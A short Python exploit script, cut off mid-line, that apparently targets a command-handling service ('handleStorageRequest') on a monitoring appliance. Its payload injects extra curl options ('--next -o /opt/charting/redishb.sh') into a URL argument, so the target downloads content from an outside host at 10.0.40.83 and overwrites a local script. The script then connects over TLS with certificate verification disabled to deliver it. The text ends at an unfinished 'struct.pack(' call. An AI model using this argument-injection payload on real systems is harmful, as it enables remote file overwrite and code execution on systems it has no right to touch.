#!/usr/bin/python3 import argparse import socket import struct import ssl # 81 - handleStorageRequest # [command]=/opt/phoenix/phscripts/bin/elastic_test_url.sh 'test_name' 'http://10.0.40.83:9200' payload = """ javaTransportClient test_name 10.0.40.83 http://10.0.40.83:9200 --next -o /opt/charting/redishb.sh http://10.0.40.83:9200 5555 4444 3 4 test_type testuser testpass """ def send_command(target: str, port: int): c = ssl.create_default_context() c.check_hostname = False c.verify_mode = ssl.CERT_NONE with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: with c.wrap_socket(s, server_hostname=target) as ss: ss.connect((target, port)) msg = b'' msg += struct.pack('